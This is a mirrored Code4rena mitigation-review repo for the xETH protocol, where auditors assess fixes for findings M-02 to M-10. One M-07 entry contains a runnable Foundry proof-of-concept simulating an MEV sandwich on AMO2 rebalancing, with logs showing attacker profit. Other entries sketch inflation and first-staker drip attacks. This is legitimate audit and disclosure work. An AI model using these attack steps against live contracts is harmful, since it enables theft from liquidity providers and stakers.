GithubHelp home page GithubHelp logo

2023-06-xeth-mitigation-findings's Introduction

xETH Mitigation Review

Unless otherwise discussed, this repo will be made public after audit completion, sponsor review, judging, and issue mitigation window.

Contributors to this repo: prior to report publication, please review the Agreements & Disclosures issue.


Audit findings are submitted to this repo

Sponsors have three critical tasks in the audit process:

  1. Weigh in on severity.
  2. Respond to issues.
  3. Share your mitigation of findings.

Let's walk through each of these.

High and Medium Risk Issues

Please note: because wardens submit issues without seeing each other's submissions, there will always be findings that are duplicates. For all issues labeled 3 (High Risk) or 2 (Medium Risk), these have been pre-sorted for you so that there is only one primary issue open per unique finding. All duplicates have been labeled duplicate, linked to a primary issue, and closed.

Weigh in on severity

Judges have the ultimate discretion in determining severity of issues, as well as whether/how issues are considered duplicates. However, sponsor input is a significant criteria.

For a detailed breakdown of severity criteria and how to estimate risk, please refer to the judging criteria in our documentation.

If you disagree with a finding's severity, leave the severity label intact and add the label disagree with severity, along with a comment indicating your opinion for the judges to review. You may also add questions for the judge in the comments.

Respond to issues

Label each open/primary High or Medium risk finding as one of these:

  • sponsor confirmed, meaning: "Yes, this is a problem and we intend to fix it."
  • sponsor disputed, meaning either: "We cannot duplicate this issue" or "We disagree that this is an issue at all."
  • sponsor acknowledged, meaning: "Yes, technically the issue is correct, but we are not going to resolve it for xyz reasons."

(Note: please don't use sponsor disputed for a finding if you think it should be considered of lower or higher severity. Instead, use the label disagree with severity and add comments to recommend a different severity level -- and include your reasoning.)

Add any necessary comments explaining your rationale for your evaluation of the issue.

Note that when the repo is public, after all issues are mitigated, wardens will read these comments; they may also be included in your C4 audit report.

QA and Gas Reports

For low and non-critical findings (AKA QA), as well as gas optimizations: wardens are required to submit these as bulk listings of issues and recommendations. They may only submit a single, compiled report in each category:

  • QA reports should include all low severity and non-critical findings, along with a summary statement.
  • Gas reports should include all gas optimization recommendations, along with a summary statement.

For QA and Gas reports, sponsors are not required to weigh in on severity or risk level. We ask that sponsors:

  • Leave a comment for the judge on any reports you consider to be particularly high quality. (These reports will be awarded on a curve.)
  • Add the sponsor disputed label to any reports that you think should be completely disregarded by the judge, i.e. the report contains no valid findings at all.

Once labelling is complete

When you have finished labelling findings, drop the C4 team a note in your private Discord backroom channel and let us know you've completed the sponsor review process. At this point, we will pass the repo over to the judge to review your feedback while you work on mitigations.

Share your mitigation of findings

Note: this section does not need to be completed in order to finalize judging. You can continue work on mitigations while the judge finalizes their decisions and even beyond that. Ultimately we won't publish the final audit report until you give us the OK.

For each finding you have confirmed, you will want to mitigate the issue before the contest report is made public.

If you are planning a Code4rena mitigation review:

  1. In your own Github repo, create a branch based off of the commit you used for your Code4rena audit, then
  2. Create a separate Pull Request for each High or Medium risk C4 audit finding (e.g. one PR for finding H-01, another for H-02, etc.)
  3. Link the PR to the issue that it resolves within your contest findings repo.

Most C4 mitigation reviews focus exclusively on reviewing mitigations of High and Medium risk findings. Therefore, QA and Gas mitigations should be done in a separate branch. If you want your mitigation review to include QA or Gas-related PRs, please reach out to C4 staff and let’s chat!

If several findings are inextricably related (e.g. two potential exploits of the same underlying issue, etc.), you may create a single PR for the related findings.

If you aren’t planning a mitigation review

  1. Within a repo in your own GitHub organization, create a pull request for each finding.
  2. Link the PR to the issue that it resolves within your contest findings repo.

This will allow for complete transparency in showing the work of mitigating the issues found in the contest. If the issue in question has duplicates, please link to your PR from the open/primary issue.

2023-06-xeth-mitigation-findings's People

Contributors

code423n4 avatar kartoonjoy avatar

Watchers

Ashok avatar  avatar

2023-06-xeth-mitigation-findings's Issues

M-03 MitigationConfirmed

Lines of code

Vulnerability details

The CVXStaker contract doesn't check for zero amount while transferring rewards, which can end up blocking the operation

Mitigation

code-423n4/2023-05-xeth@1f71486
Now
Added the judgment that only the balance >0 will execute the transfer, avoiding revert, which affects the transfer of other tokens
The mitigation resolved the original issue.

M-03 MitigationConfirmed

Lines of code

Vulnerability details

Mitigation

The mitigation commit splits the original getReward function into two external steps.

  1. getReward: claim the rewards from the CVX pool to the staker itself.
  2. transferReward: send all the reward tokens in the staker to the rewardsRecipient.

Comments

The transferReward function has full bounds check:

  1. The start index and the end index of the reward tokens array must be in the array scope:
      if (initialIndex >= lastIndex) {
        revert OutOfBounds(0);
      }
      if (lastIndex > rewardTokens.length) {
        revert OutOfBounds(1);
      }
  1. rewardsRecipient must not be zero address.
  2. The sending amount, which is the balance of the address(this), must be grater than 0:
if (balance != 0) {
   IERC20(rewardTokens[i]).safeTransfer(rewardsRecipient, balance);
}

M-05 Unmitigated

Lines of code

code-423n4/2023-05-xeth@aebc324#L230

Vulnerability details

If wxETH drips when nothing is staked, then the first staker can claim every drop.

Mitigation

code-423n4/2023-05-xeth@aebc324

This PR is added in the method _accrueDrip() to return if totalSupply() == 0 to avoid dropping at 0.

But this doesn't solve the original problem, because when supply changes from 0 to 1, it doesn't modify lastReport.
So suppose a user stake(1) immediately after stake(1) again, the second stake(1) to calculate the blockDelta, uint256 blockDelta = block.number - lastReport;
At this point blockDelta is still very large, which will cause drap to be taken up as well

It should be similar to dripEnabled to true which will modify lastReport = block.number.

A simple suggestion is as follows:

    function _accrueDrip() private {
        /// @dev if drip is disabled, no need to accrue
-       if (!dripEnabled || totalSupply() == 0) return;
+       if (!dripEnabled) return;
+       if (totalSupply() == 0) { 
+         lastReport = block.number; 
+         return;
+       }

Assessed type

Context

M-07 Unmitigated

Lines of code

code-423n4/2023-05-xeth@630114e#L0

Vulnerability details

The AMO2.rebalanceUp uses AMO2.bestRebalanceUpQuote function to avoid MEV attack when removing liquidity with only one coin. But the bestRebalanceUpQuote does not calculate the slippage correctly in this case, which is vulnerable to be attacked by MEV sandwich.

Mitigation

code-423n4/2023-05-xeth@630114e#L0

This PR splits the rebalanceUp() slippage protection independently (upSlippage default is 0)
But according to the discussion of this issue
code-423n4/2023-05-xeth-findings#14

rebalanceUp() slippage protection is in the opposite direction > BASE_UNIT

So it should be added (AMOUNT * (BASE_UNIT + slippage)) / BASE_UNIT

(Honestly, I'm still confused about this issue, and this is based on (issues/14) understanding)

Assessed type

Context

The old removed `rewardToken` may be left in the contract

Lines of code

code-423n4/2023-05-xeth@1f71486#L1

Vulnerability details

The lack of a mechanism to modify rewardTokens[]
If convex adds new extraRewards
CVXStaker.sol cannot transfer the added token

Mitigation

code-423n4/2023-05-xeth@1f71486

This PR has added the method setRewardTokens to modify rewardTokens[].

But the current implementation has a problem, it doesn't transfer the old rewardTokens[] first
so that if rewardTokens[] is changed from more to less. (convex is possible to become less)
Since the transfer of the old rewardTokens[] is not triggered, the token to be removed may have already been generated and stored in the contract
When new tokens are set, transferReward() does not transfer the old token.(Although the owner can take it out by recoverToken, maybe the owner doesn't even notice it)
So it is recommended to trigger the transfer of the old rewardTokens[] first

function setRewardTokens(address[] calldata newTokens) external onlyOwner {
+   getReward(true);
+   transferReward(0,rewardTokens.length);

    rewardTokens = newTokens;

    emit SetRewardTokens(newTokens);
}

Assessed type

Context

M-05 Unmitigated

Lines of code

Vulnerability details

Mitigation of M-05: Issue NOT mitigated

Mitigated issue

M-05: Virgin stake can claim all drops
Fix: code-423n4/2023-05-xeth@aebc324

The issue is that if dripping is enabled when totalSupply() == 0 the entire amount dripped will immediately accrue to the first stake.

Mitigation review - dripping is still implicit when totalSupply() == 0

The drip accrual is now skipped, i.e. _accrueDrip() simply returns, when totalSupply() == 0. However, the drip is implicitly accrued at a constant rate per time, by actually adding the dripped amount only at discrete points in time, the last point in time of which is lastReport, which is what happens in _accrueDrip(). But this means that simply skipping this drip accrual when totalSupply() == 0 only defers explicit drip accrual to the next time, but will still drip the same amount because it is calculated from the same lastReport.
That is, the drip is not truly suspended until the first stake. The attack will still work because the drip will just accrue on the unstake instead, even when it is unstaked immediately after the first stake.

Example

  1. Start drip at t = 0. lastReport = 0 and totalSupply() == 0.
  2. First stake at t = T. totalSupply() == 0 so _accrueDrip() immediately returns, which means that nothing is dripped and that lastReport remains 0.
  3. Unstake at t = T. totalSupply() > 0 so T * dripRatePerBlock is dripped, which goes to the unstaker.

The issue is in step 2, that lastReport remains 0. In order to truly not drip, lastReport must be reset without adding any dripped amount. Then the drip is neither implicitly nor explicitly happening unless something has been staked, i.e. totalSupply() > 0.

Suggested mitigation

This can be achieved by, in _accrueDrip():

if (!dripEnabled) return;
if (totalSupply() == 0) {
    lastReport = block.number;
    return;
}

Now, startDrip() enables drip but the drip only truly starts after the first stake. It also automatically stops when everything is unstaked, i.e. the drip only kicks in when something is staked.

M-03 MitigationConfirmed

Lines of code

Vulnerability details

Mitigation of M-03: Issue mitigated

Mitigated issue

M-03: Zero token transfer can cause a potential DoS in CVXStaker
Fix: code-423n4/2023-05-xeth@1f71486

The issue was that CVXStaker.getReward() transfers ERC20 tokens in a loop, including attempts at zero transfers, which may revert and therefore block the entire rewards transfer.

Mitigation review

The previous push of rewards in getReward() has been removed and instead the rewards have to be pulled by calling a new function transferReward() which calls a transfer of a token in the loop only if balance != 0.

Note that the comment still claims that getReward() transfers the rewards to the rewards recipient, which is no longer correct.

M-04 MitigationConfirmed

Lines of code

Vulnerability details

Lines of code

Vulnerability details

Comments

The issue shows that the safeApprove function from OpenZeppelin SafeERC20 will revert if the current allowance is not zero when approving tokens. It will dos the addLiquidity and addLiquidityOnlyStETH functions of AMO.

The mitigation commit replaces all the safeApprove function by standard approve function. It's valid.

Suggestion

The OpenZeppelin SafeERC20 wrappers around ERC20 operations that throw on failure (when the token contract returns false). If you really want to avoid some erc20 with non-standard implementations, you can use safeApprove like:

erc20.safeApprove(addr, 0);
erc20.safeApprove(addr, value);

But in practice, the safeApprove has been marked as "Deprecated". Use safeIncreaseAllowance and safeDecreaseAllowance instead.

M-02 MitigationConfirmed

Lines of code

Vulnerability details

Lines of code

Vulnerability details

In the previous implementation , AMO2.sol used CVXStaker.stakedBalance() as the current balance of clpToken.
However, this method does not add the balance that exists in CVXStakeer.sol, resulting in an incorrect balance

Mitigation

code-423n4/2023-05-xeth@60b9e1e
Added new method getTotalBalance() , it already add the balance that exists in CVXStakeer.
AMO2.sol also uses the new method to get the balance
The mitigation resolved the original issue.

Lack of Initialization and scope check for slippage

Lines of code

https://github.com/code-423n4/2023-05-xeth/blob/add-xeth/src/AMO2.sol#L145
https://github.com/code-423n4/2023-05-xeth/blob/add-xeth/src/AMO2.sol#L430-L442

Vulnerability details

The upSlippage doesn't have a default value. So if rebalance is called before the admin setSlippage, the upSlippage is always zero.

The AMO2.setSlippage function does not implement the scope check in the comments:

@notice The new maximum slippage must be between 0.06% and 15% (in basis points).

It only limits the slippages are not > 100%:

if (newUpSlippage >= BASE_UNIT || newDownSlippage >= BASE_UNIT)
          revert InvalidSetSlippage();

Assessed type

Invalid Validation

M-07 Unmitigated

Lines of code

Vulnerability details

Mitigation of M-07: Issue NOT mitigated

Mitigated issue

M-07: Incorrect slippage check in the AMO2.rebalanceUp can be attacked by MEV
Fix: code-423n4/2023-05-xeth@630114e

The issue is that since the pool is rebalanced around an imbalanced ratio with 68%-75% xETH the virtual price (which is valid for a 1:1 ratio) is underestimated, which means that the contractQuote in bestRebalanceUpQuote() will be too low, effectively having allowed for more slippage than intended.

Related issue - unable to rebalance down

A related potential issue is what happens in the case of rebalancing down. There the inverse holds: the slippage protection returns a contractQuote that is too high, which may then be the one chosen, which might cause the rebalancing down to revert. Thus the defender might be unable to rebalance down.

Mitigation review - get_virtual_price() is still wrong

The previous maxSlippageBPS has been replaced by upSlippage and downSlippage, both settable by the admin, which controls slippage in both directions independently. Previously the slippage was required to be between 0.06% and 15%, while it is now only required that it be less than 100%, which means that the remaining comment describing this is now incorrect.

Since the issue is that get_virtual_price() is inaccurate for imbalanced reserves, even if the slippage is zero the contractQuote might still be better than the defenderQuote and leave room for an MEV attack. Thus being able to set the slippage doesn't resolve this issue.

The related issue can be bypassed by allowing sufficient slippage when rebalancing down. Then the contractQuote can be made as low as needed. This is of course just to prevent reversion in rebalancing down, and the problem remains that get_virtual_price() is inaccurate.

Suggested mitigation steps

The correct price would be given by calc_withdraw_one_coin() for rebalancing up, and calc_token_amount() for rebalancing down, instead of by get_virtual_price(). But this may be manipulated.
I suppose it would be possible to calculate these oneself based on the safer get_virtual_price(); a simple constant (but settable by the admin) multiplier to adjust it might be sufficient. But it might be better to avoid MEV attacks simply by not doing large rebalance operations, such that MEV attacks would not be profitable. There are already limits in place for this: rebalanceUpCap and rebalanceDownCap. If these can be made sufficiently small then MEV attacks can be deterred. However, because of the cooldown period after rebalancing this restriction might make the defender too slow. In that case some exemption must be made, essentially allowing large rebalance operations to be split in several smaller ones in immediate succession.

M-05 Unmitigated

Lines of code

Vulnerability details

Mitigation of M-05: Issue NOT mitigated

Mitigated issue

M-05: Virgin stake can claim all drops
Fix: code-423n4/2023-05-xeth@aebc324

The issue is that if dripping is enabled when totalSupply() == 0 the entire amount dripped will immediately accrue to the first stake.

Mitigation review - dripping is still implicit when totalSupply() == 0

The drip accrual is now skipped, i.e. _accrueDrip() simply returns, when totalSupply() == 0. However, the drip is implicitly accrued at a constant rate per time, by actually adding the dripped amount only at discrete points in time, the last point in time of which is lastReport, which is what happens in _accrueDrip(). But this means that simply skipping this drip accrual when totalSupply() == 0 only defers explicit drip accrual to the next time, but will still drip the same amount because it is calculated from the same lastReport.
That is, the drip is not truly suspended until the first stake. The attack will still work because the drip will just accrue on the unstake instead, even when it is unstaked immediately after the first stake.

Example

  1. Start drip at t = 0. lastReport = 0 and totalSupply() == 0.
  2. First stake at t = T. totalSupply() == 0 so _accrueDrip() immediately returns, which means that nothing is dripped and that lastReport remains 0.
  3. Unstake at t = T. totalSupply() > 0 so 100 * dripRatePerBlock is dripped, which goes to the unstaker.

The issue is in step 2, that lastReport remains 0. In order to truly not drip, lastReport must be reset without adding any dripped amount. Then the drip is neither implicitly nor explicitly happening unless something has been staked, i.e. totalSupply() > 0.

Suggested mitigation

This can be achieved by, in _accrueDrip():

if (!dripEnabled) return;
if (totalSupply() == 0) {
    lastReport = block.number;
    return;
}

Now, startDrip() enables drip but the drip only truly starts after the first stake. It also automatically stops when everything is unstaked, i.e. the drip only kicks in when something is staked.

M-04 MitigationConfirmed

Lines of code

Vulnerability details

In the previous implementation ,calls to safeApprove() to approve allowance in the AMO contract.
But if there is a residual allowance this method will revert
It is not possible to approve properly

Mitigation

code-423n4/2023-05-xeth@793dade
Now
Modify to use IERC20.approve(), this method does not have this limitation and will not revert
Both addLiquidity() and addLiquidityOnlyStETH have been modified and are not used anywhere safeApprove()
The mitigation resolved the original issue.

M-02 MitigationConfirmed

Lines of code

Vulnerability details

The mitigation adds a new function, getTotalBalance(), to get all the lp tokens staked in the CVX and others left in the staker:

    function getTotalBalance() public view returns(uint256 balance) {
      unchecked {
        balance = stakedBalance() + clpToken.balanceOf(address(this));
      }
    }

And every stakedBalance() function call in the AMO2.sol has been replaced by getTotalBalance(). This removes all calculation errors and makes sense.

M-10 Unmitigated

Lines of code

Vulnerability details

Mitigation of M-10: Issue NOT mitigated

Mitigated issue

M-10: First 1 wei deposit can produce lose of user xETH funds in wxETH
Fix: code-423n4/2023-05-xeth@fbb2972

The issue is similar to the standard inflation attack, except that instead of the attacker's donating tokens directly to the contract to inflate the exchange rate the tokens come from the drip.

Mitigation review - only a complete theft of the second stake is mitigated

wxETH.stake() has been modified to not allow minting of zero shares. This prevents the attack where Alice stakes 1 xETH for 1 wxETH, whereupon the drip inflates the exchange rate to as much as is dripped, and if Bob stakes less than this then <1 wxETH is minted to him, which is rounded down to 0, which implies that Bob lost his stake which is attributed to Alice's 1 share.

The rounding error is still there, however, and may still round down e.g. <2 to 1, which then passes the non-zero mint check.
For example, if Alice first stakes 1 wei, and then 0.101e18 is dripped, the exchange rate is now 0.101e18 wxETH per xETH. Bob stakes 0.2e18 which gives him 0.2e18 / 0.101e18 = 1 wxETH, because of rounding. Now Alice and Bob both own 1 share each, and 0.2e18 + 1 xETH is staked. Alice can then unstake her 1 wxETH for half of the stake, i.e. 0.1e18, which implies a profit for her but a loss for Bob.

Suggested mitigation steps

A more general version of the non-zero mint check could be employed, namely to only allow exact amounts in terms of minted wxETH to be staked, i.e. only exact multiples of the exchange rate. Then there are no rounding losses.
The downside is that only specific amounts may be staked, in discrete steps which might be large.

The inflation of the exchange rate may in general be avoided by minting dead shares, which mitigation also applies here where the donation comes from the drip.

It is also possible in this particular case to put in place a bound on the drip rate, by making it proportional to the staked amount but at most some maximum drip rate. Then the inflation will be as negligible as the staked amount, which reduces the rounding errors to insignificance.

M-09 MitigationConfirmed

Lines of code

Vulnerability details

Comments

The M-09 issue shows that the tokens sent to the AMO from the staker by withdrawAllAndUnwrap function will stuck in the contract forever because there is not an external interface to transfer tokens from the AMO contract directly.

The mitigation commit adds two changes:

  1. AMO adds a recoverToken function which is used to withdraw specified tokens in the contract by the admin.
  2. CVXStaker changes the target address of the withdrawAllAndUnwrap function. The tokens will be sent to the msg.sender, which is limited by the onlyOwner modifier and must be the owner address, instead of the AMO contract.

So all the tokens are available for the admin in the AMO and CVXStaker.

M-09 MitigationConfirmed

Lines of code

Vulnerability details

in withdrawAllAndUnwrap()
the clpToken transfer to AMO.sol may be locked in the contract

Mitigation

code-423n4/2023-05-xeth@a840dc0

This PR has been modified to transfer to msg.sender so it won't be locked in AMO.sol.
The mitigation resolved the original issue.

M-08 MitigationConfirmed

Lines of code

Vulnerability details

Mitigation of M-08: Issue mitigated

Mitigated issue

M-08: CVXStaker.sol Unable to process newly add rewardTokens
Fix: code-423n4/2023-05-xeth@1f71486

The issue was that reward tokens may be added in Convex, but CVXStaker.rewardTokens[] cannot be updated to reflect this, which means that rewards from the new token could not be transferred.

Mitigation review

A function setRewardTokens() has been added which allows the owner to set a new CVXStaker.rewardTokens[]. The owner would then simply update the token list whenever changes are made to the token list in Convex.

M-07 Unmitigated

Lines of code

https://github.com/code-423n4/2023-05-xeth/blob/add-xeth/src/AMO2.sol#L249-L284

Vulnerability details

Comments

The very first point that needs to be made, is that, according to the Mitigation Review details:

In production we have planned to use MEV Protection services such as flashbots rpc

The MEV Protection rpc ensure the rebalance and defender won't be affected by the MEV attack any more. So under the circumstances, you can just skip the issue M-07 and the following detail.

Unmitigated

I don't really get the point of the mitigation commit. It seems like only split the maxSlippageBPS to upSlippage and downSlippage, but doesn't change anything about the slippage check caculation.

The issue is the fault in slippage calculation method, instead of slippage itself. I think I should provide the complete exploit to explain how the MEV attacker can get continuous arbitrages from rebalance.

As I mentioned in the issue code-423n4/2023-05-xeth-findings#14 comments, it's similar to code-423n4/2023-05-xeth-findings#35 . But it has a big difference that the code-423n4/2023-05-xeth-findings#35 assumes a rogue defender as a starting point of attack, code-423n4/2023-05-xeth-findings#14 doesn't need.

Proof of Concept

  1. At the beginning, there are 80 xETH and 20 stETH in the pool, vp = 1 and about 50 lp are held by AMO and about 50 lp are held by an arbitrager(MEV attacker).
  2. rebalance up. AMO wants to burn 30 lp for at least 29 xETH. The ratio will be about 50 / (50 + 20) = 0.71 > 0.68
  3. The arbitrager front runs to remove liquidity with 50 lp, and now there are 40 xETH and 10 stETH in the pool. After rebalance, there are 9 xETH and 10 stETH in the pool.
  4. The arbitrager sells 1 xETH for 1 stETH, now 10 xETH and 9 stETH in the pool.
  5. AMO mint 15 xETH for adding lp. After rebalance down, there are 25 xETH and 9 stETH in the pool. The ratio is 25/(25+9) = 0.735 <= 0.75 .
  6. swap 1 stETH back to the pool for more than 1 xETH, such as 1.2 xETH.
  7. Or for more intuitively comparing the change from the initial asset of the attacker, skip the step 6 and add liquidity with all the xETH and stETH held by the attacker at last. The lp received will be greater than the begining.

I write a test file for the above process:

Parameter adjustment:

  • Curve pool parameter A is 20. It amplifies price changes, but it's reasonable because the A of stETH/ETH pool is 30.
  • upSlippage = 0 and downSlippage = 2%

test/AMO2_c4r.t.sol

// SPDX-License-Identifier: Unlicense
pragma solidity >=0.8.0;

import {DSTest} from "ds-test/test.sol";
import {Utilities} from "./utils/Utilities.sol";
import {MockErc20} from "./mocks/MockERC20.sol";
import {console} from "./utils/Console.sol";
import {MockCVXStaker} from "./mocks/MockCVXStaker.sol";
import {Vm} from "forge-std/Vm.sol";

import {ICurveFactory} from "src/interfaces/ICurveFactory.sol";
import {ICurvePool} from "src/interfaces/ICurvePool.sol";
import {xETH as xETH_contract} from "src/xETH.sol";
import {xETH_AMO} from "src/AMO2.sol";

import "@openzeppelin-contracts/token/ERC20/IERC20.sol";

contract AMORebalancingTest is DSTest {
    Vm internal immutable vm = Vm(HEVM_ADDRESS);
    ICurveFactory internal constant factory =
        ICurveFactory(0xB9fC157394Af804a3578134A6585C0dc9cc990d4);

    Utilities internal utils;
    address payable[] internal users;

    address internal owner;
    address internal bot;
    address internal attacker;

    xETH_contract internal xETH;
    xETH_AMO internal AMO;
    MockErc20 internal stETH;
    ICurvePool internal curvePool;
    IERC20 internal clp;
    MockCVXStaker internal cvxStaker;
    uint xETHindex = 0;
    uint stETHindex = 1;
    uint initAttackerCLP;

    function setUp() public {
        utils = new Utilities();
        users = utils.createUsers(5);
        address payable[] memory moreUsers = utils.createUsers(2);

        owner = moreUsers[0];
        vm.label(owner, "owner");

        bot = moreUsers[1];
        vm.label(bot, "bot");

        vm.startPrank(owner);

        xETH = new xETH_contract();
        stETH = new MockErc20("Staked Ether", "StETH", 18);

        vm.label(address(xETH), "xETH");
        vm.label(address(stETH), "stETH");

        address[4] memory coins;
        coins[xETHindex] = address(xETH);
        coins[stETHindex] = address(stETH);

        address pool = factory.deploy_plain_pool(
            "XETH-stETH Pool",
            "XETH/stETH",
            coins,
            20, // A 200 -> 10
            4000000, // Fee
            3, // asset type 1 = ETH, 3 = Other
            1 // implementation index = balances
        );
        vm.label(pool, "curve_pool");

        curvePool = ICurvePool(pool);
        clp = IERC20(pool);
        cvxStaker = new MockCVXStaker(pool);

        AMO = new xETH_AMO(
            address(xETH),
            address(stETH),
            pool,
            address(cvxStaker),
            0
        );
        AMO.setRebalanceDefender(address(bot));

        cvxStaker.setOperator(address(AMO));

        vm.label(address(AMO), "amo");
        xETH.setAMO(address(AMO));

        stETH.mint(owner, 100e18);
        vm.stopPrank();
        _setupImbalance();
    }

    function _setupImbalance() internal{
        attacker = address(0x133707);
        vm.startPrank(owner);
        // set pool to xETH:stETH = 80:20
        stETH.approve(address(AMO), 80e18);
        AMO.addLiquidity(20e18, 80e18, 1);
        uint clpBalance = cvxStaker.stakedBalance();
        // setup rebalance cap and slippage for test
        AMO.setRebalanceUpCap(40e18);  // 40
        AMO.setRebalanceDownCap(40e18); // 40
        AMO.setSlippage(0, 200 * 1e14); // 1% -> 2%
        vm.stopPrank();
        // give attacker a half of clp tokens
        vm.prank(address(cvxStaker));
        clp.transfer(attacker, clpBalance / 2);
        // now attacker has 40 xETH and 10 stETH in the pool
        uint[2] memory amounts;
        amounts[xETHindex] = 40e18;
        amounts[stETHindex] = 10e18;
        uint needsLp = curvePool.calc_token_amount(amounts, false);
        initAttackerCLP = clp.balanceOf(attacker);
        needsLp = needsLp > initAttackerCLP ? needsLp - 1 : needsLp;
        assertLe(initAttackerCLP - needsLp, 1); // +-1
        // attacker approve setup
        vm.startPrank(attacker);
        stETH.approve(address(curvePool), 50e18);
        xETH.approve(address(curvePool), 50e18);
        vm.stopPrank();
    }

    function _getxEthPct() internal view returns (uint256 xETHBal, uint256 stETHBal, uint256 xEthPct) {
        stETHBal = curvePool.balances(stETHindex);
        xETHBal = curvePool.balances(xETHindex);

        xEthPct = (xETHBal * 1e18) / (stETHBal + xETHBal);
    }

    function testRebalanceUpMEV() public {
        // pool status: 80 xETH, 20 stETH
        // AMO status: LP (40 xETH + 10 stETH)
        // Attacker status: LP (40 xETH + 10 stETH)
        
        // 1. defender prepares for rebalance up, burn 30 lp for at least 29 xETH, 
        //    The ratio will be about `50 / (50 + 20)  = 0.71 > 0.68` after rebalance up
        uint256 lpBurn = 30e18;
        uint256 minXethRemoved = 29e18;
        xETH_AMO.RebalanceUpQuote memory quote = xETH_AMO.RebalanceUpQuote(
            lpBurn,
            minXethRemoved
        );

        uint[2] memory amounts;
        // 2. attacker front run, remove liquidity before rebalance up
        vm.startPrank(attacker);
        uint attackerLp = clp.balanceOf(attacker);
        curvePool.remove_liquidity(attackerLp, amounts);
        vm.stopPrank();
        // console.log("attacker xETH", xETH.balanceOf(attacker));
        
        // 3. defender rebalance up confirmed
        uint xETHBal;
        uint stETHBal;
        uint xEthPct;
        vm.prank(bot);
        uint256 xEthRemoved = AMO.rebalanceUp(quote);
        // check the current pool status:
        (xETHBal, stETHBal, xEthPct) = _getxEthPct();
        console.log("3. pool status xETHBal:stETHBal", xETHBal, stETHBal, xEthPct);
        console.log("   xEthRemoved", xEthRemoved);
                
        // 4. attacker sells 1 xETH for 1 stETH
        uint xETHAtckSell = 2e18;
        vm.startPrank(attacker);
        uint stETHAtckRecv = curvePool.exchange(int128(uint128(xETHindex)), int128(uint128(stETHindex)), xETHAtckSell, 0);
        vm.stopPrank();
        (xETHBal, stETHBal, xEthPct) = _getxEthPct();
        console.log("4. pool status xETHBal:stETHBal", xETHBal, stETHBal, xEthPct);
        
        // 5. defender rebalance down, mint 15 xETH for adding lp.
        uint256 xETHAmount = 12e18;
        uint minLpReceived = 0;
        xETH_AMO.RebalanceDownQuote memory quote2 = xETH_AMO.RebalanceDownQuote(
            xETHAmount,
            minLpReceived
        );
        // skip cool down period
        vm.roll(block.number + 3600);
        vm.prank(bot);
        uint256 lpReceived = AMO.rebalanceDown(quote2);
        // check the current pool status: The ratio should be about `25/(25+9) = 0.735 <= 0.75 `
        (xETHBal, stETHBal, xEthPct) = _getxEthPct();
        console.log("5. pool status xETHBal:stETHBal", xETHBal, stETHBal, xEthPct);
        
        // 6. swap 1 stETH back to the pool for more than 1 xETH
        // skip 6. Use the final amount of lp to calculate profit in the step 7
        // vm.startPrank(attacker);
        // uint xETHAtckRecv = curvePool.exchange(int128(uint128(stETHindex)), int128(uint128(xETHindex)), stETHAtckRecv, 0);
        // vm.stopPrank();
        // assertGt(xETHAtckRecv, xETHAtckSell);
        // (xETHBal, stETHBal, xEthPct) = _getxEthPct();
        // console.log("6. pool status xETHBal:stETHBal", xETHBal, stETHBal, xEthPct);

        // 7. Just for calculating attack profit, attacker adds liquidity for {initAttackerCLP}
        vm.startPrank(attacker);
        amounts[xETHindex] = xETH.balanceOf(attacker);
        amounts[stETHindex] = stETH.balanceOf(attacker);
        curvePool.add_liquidity(amounts, initAttackerCLP);
        vm.stopPrank();
        uint attackerCLP = clp.balanceOf(attacker);
        console.log("7. attacker lp change", attackerCLP - initAttackerCLP);
        (xETHBal, stETHBal, xEthPct) = _getxEthPct();
        console.log("   pool status xETHBal:stETHBal", xETHBal, stETHBal, xEthPct);
    }
}

run test:

forge test --match-path 'test/AMO2_c4r.t.sol'  -vvv --fork-url https://eth-mainnet.g.alchemy.com/v2/xxxxxx --fork-block-number 17438437

logs:

Running 1 test for test/AMO2_c4r.t.sol:AMORebalancingTest
[PASS] testRebalanceUpMEV() (gas: 591080)
Logs:
  3. pool status xETHBal:stETHBal 9357085094330291886 10000000000000000001 483393292364612828
     xEthRemoved 30641675925101596000
  4. pool status xETHBal:stETHBal 11357085094330291886 8014020382010832344 586289982685874781
  5. pool status xETHBal:stETHBal 23356576499739707188 8013532498280344763 744548783723189329
  7. attacker lp change 194843029594079837
     pool status xETHBal:stETHBal 61356493442640855684 19999038133345761998 754177279086837200

Test result: ok. 1 passed; 0 failed; finished in 5.26ms

As you can see, the attacker made a profit of 0.194 lp and the current xEthPct = 0.754 > 0.75. The rebalance up will be triggered again. And the attacker can repeat the arbitrage in the next round.

Assessed type

MEV

Agreements & Disclosures

Agreements

If you are a C4 Certified Contributor by commenting or interacting with this repo prior to public release of the contest report, you agree that you have read the Certified Warden docs and agree to be bound by:

To signal your agreement to these terms, add a 👍 emoji to this issue.

Code4rena staff reserves the right to disqualify anyone from this role and similar future opportunities who is unable to participate within the above guidelines.

Disclosures

Sponsors may elect to add team members and contractors to assist in sponsor review and triage. All sponsor representatives added to the repo should comment on this issue to identify themselves.

To ensure contest integrity, the following potential conflicts of interest should also be disclosed with a comment in this issue:

  1. any sponsor staff or sponsor contractors who are also participating as wardens
  2. any wardens hired to assist with sponsor review (and thus presenting sponsor viewpoint on findings)
  3. any wardens who have a relationship with a judge that would typically fall in the category of potential conflict of interest (family, employer, business partner, etc)
  4. any other case where someone might reasonably infer a possible conflict of interest.

M-10 Unmitigated

Lines of code

https://github.com/code-423n4/2023-05-xeth/blob/add-xeth/src/wxETH.sol#L99-L101

Vulnerability details

Comments

The issue is a typical inflation attack, that the first staker adds the huge amount of the underlayer tokens after minting shares, and the following stakers can only mint zero share because of division precision error.

The mitigation uses a regular schedule that check if the minting shares is zero to protect the following staker from losing all their staking tokens. But it doesn't work on edge condition:

  1. The initial process is as same as the original issue. The first staker mints only 1 wei share and drip accrued.
  2. After the mitigation, the second staker can't deposit any amount less than dripAmount + 1, which will revert with CantMintZeroShares error. But if the second staker deposits 2 * (dripAmount + 1) - 1 xETH, the staker will only receive 1 wei wxETH because of round-down error. After the second deposit, 1 wei wxETH = (3 * (dripAmount + 1) - 1) / 2 . And the second staker losses 0.5 * (dripAmount + 1) - 0.5 xETH.

Suggestion

First I need to clarify that I think it's a low/NC risk issue because it only can loss some dusts.

If the team really wants to fully fix it as inflation attack, please refer to https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677 .

But I strongly not recommend such mitigation for this issue because it adds too many entities only for insignificant loss.

Assessed type

Context

M-02 MitigationConfirmed

Lines of code

Vulnerability details

Mitigation of M-02: Issue mitigated

Mitigated issue

M-02: Inconsistent check for LP balance in AMO
Fix: code-423n4/2023-05-xeth@60b9e1e

